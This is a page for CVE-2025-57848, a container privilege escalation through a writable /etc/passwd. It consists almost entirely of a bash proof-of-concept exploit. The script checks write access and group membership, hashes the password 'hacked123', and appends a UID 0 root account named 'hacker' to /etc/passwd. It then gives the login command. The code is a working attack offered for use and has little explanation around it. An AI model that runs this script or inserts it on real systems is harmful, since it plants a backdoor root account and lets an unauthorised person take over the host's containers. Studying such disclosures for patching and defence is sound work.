CVE-2025-57848: Container-native Virtualization容器/etc/passwd权限提升漏洞

#!/bin/bash # CVE-2025-57848 PoC - Container-native Virtualization /etc/passwd Privilege Escalation # This script demonstrates how an attacker can escalate privileges in a vulnerable container echo "[+] CVE-2025-57848 Container Privilege Escalation PoC" echo "[+] Checking /etc/passwd permissions..." # Check if /etc/passwd is group-writable if [ -w /etc/passwd ]; then echo "[+] /etc/passwd is writable! Vulnerability may be present." else echo "[-] /etc/passwd is not writable. Target may not be vulnerable." exit 1 fi # Check if current user is in root group if id | grep -q '(root)'; then echo "[+] Current user is a member of root group." else echo "[-] Current user is not in root group. Exploitation may fail." fi # Generate password hash (using openssl or python) echo "[+] Generating password hash..." if command -v python3 &> /dev/null; then PASSWORD_HASH=$(python3 -c "import crypt; print(crypt.crypt('hacked123', crypt.mksalt()))") elif command -v openssl &> /dev/null; then PASSWORD_HASH=$(openssl passwd -1 -salt abcdefgh 'hacked123') else echo "[-] Cannot generate password hash. Required: python3 or openssl" exit 1 fi echo "[+] Password hash: $PASSWORD_HASH" # Create new root user echo "[+] Adding new root user 'hacker' to /etc/passwd..." echo "hacker:${PASSWORD_HASH}:0:0:root:/root:/bin/bash" >> /etc/passwd # Verify the user was added echo "[+] Verifying user creation..." if grep -q '^hacker:' /etc/passwd; then echo "[+] User 'hacker' created successfully with UID 0!" echo "[+] You can now login as root using: su - hacker (password: hacked123)" else echo "[-] Failed to create user." exit 1 fi echo "[+] Privilege escalation completed!"